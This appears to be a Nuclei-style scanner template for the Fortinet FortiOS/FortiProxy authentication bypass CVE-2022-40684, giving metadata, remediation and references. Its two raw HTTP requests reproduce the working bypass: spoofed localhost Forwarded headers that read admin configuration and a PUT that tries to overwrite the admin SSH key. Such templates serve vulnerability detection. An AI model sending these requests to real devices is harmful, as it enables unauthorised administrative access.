68 lines
2.6 KiB
YAML
68 lines
2.6 KiB
YAML
id: CVE-2022-40684
|
|
|
|
info:
|
|
name: Fortinet - Authentication Bypass
|
|
author: Shockwave,nagli,carlosvieira
|
|
severity: critical
|
|
description: |
|
|
Fortinet contains an authentication bypass vulnerability via using an alternate path or channel in FortiOS 7.2.0 through 7.2.1 and 7.0.0 through 7.0.6, FortiProxy 7.2.0 and 7.0.0 through 7.0.6, and FortiSwitchManager 7.2.0 and 7.0.0. An attacker can perform operations on the administrative interface via specially crafted HTTP or HTTPS requests, thus making it possible to obtain sensitive information, modify data, and/or execute unauthorized operations.
|
|
remediation: |
|
|
Apply the necessary security patches or firmware updates provided by Fortinet to mitigate this vulnerability.
|
|
reference:
|
|
- https://github.com/horizon3ai/CVE-2022-40684/blob/master/CVE-2022-40684.py
|
|
- https://securityonline.info/researchers-have-developed-cve-2022-40684-poc-exploit-code/
|
|
- https://socradar.io/what-do-you-need-to-know-about-fortinet-critical-authentication-bypass-vulnerability-cve-2022-40684/
|
|
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-40684
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-40684
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2022-40684
|
|
cwe-id: CWE-287
|
|
epss-score: 0.95639
|
|
epss-percentile: 0.99236
|
|
cpe: cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: fortinet
|
|
product: fortiproxy
|
|
tags: cve,cve2022,fortinet,fortigate,fortios,fortiproxy,auth-bypass,kev,intrusive
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /api/v2/cmdb/system/admin HTTP/1.1
|
|
Host: {{Hostname}}
|
|
User-Agent: Node.js
|
|
Forwarded: by="[127.0.0.1]:1337";for="[127.0.0.1]:1337";proto=http;host=
|
|
X-Forwarded-Vdom: root
|
|
- |
|
|
PUT /api/v2/cmdb/system/admin/admin HTTP/1.1
|
|
Host: {{Hostname}}
|
|
User-Agent: Report Runner
|
|
Content-Type: application/json
|
|
Forwarded: for=[127.0.0.1]:8000;by=[127.0.0.1]:9000;
|
|
Content-Length: 610
|
|
|
|
{
|
|
"ssh-public-key1":"{{randstr}}"
|
|
}
|
|
|
|
stop-at-first-match: true
|
|
|
|
matchers-condition: or
|
|
matchers:
|
|
- type: word
|
|
part: body_1
|
|
words:
|
|
- ENC XXXX
|
|
- http_method
|
|
condition: and
|
|
|
|
- type: word
|
|
part: body_2
|
|
words:
|
|
- Invalid SSH public key.
|
|
- cli_error
|
|
condition: and
|
|
# digest: 490a0046304402201b1c12357f809e23afaacfb40c9f7e0a4c3926c57ee4a492a29bbfbdee6b825b0220145085c9d166e6a3c6c134c02c25590ab9c191d12aafdc0cf3977f67515790f4:922c64590222798bb761d5b6d8e72950 |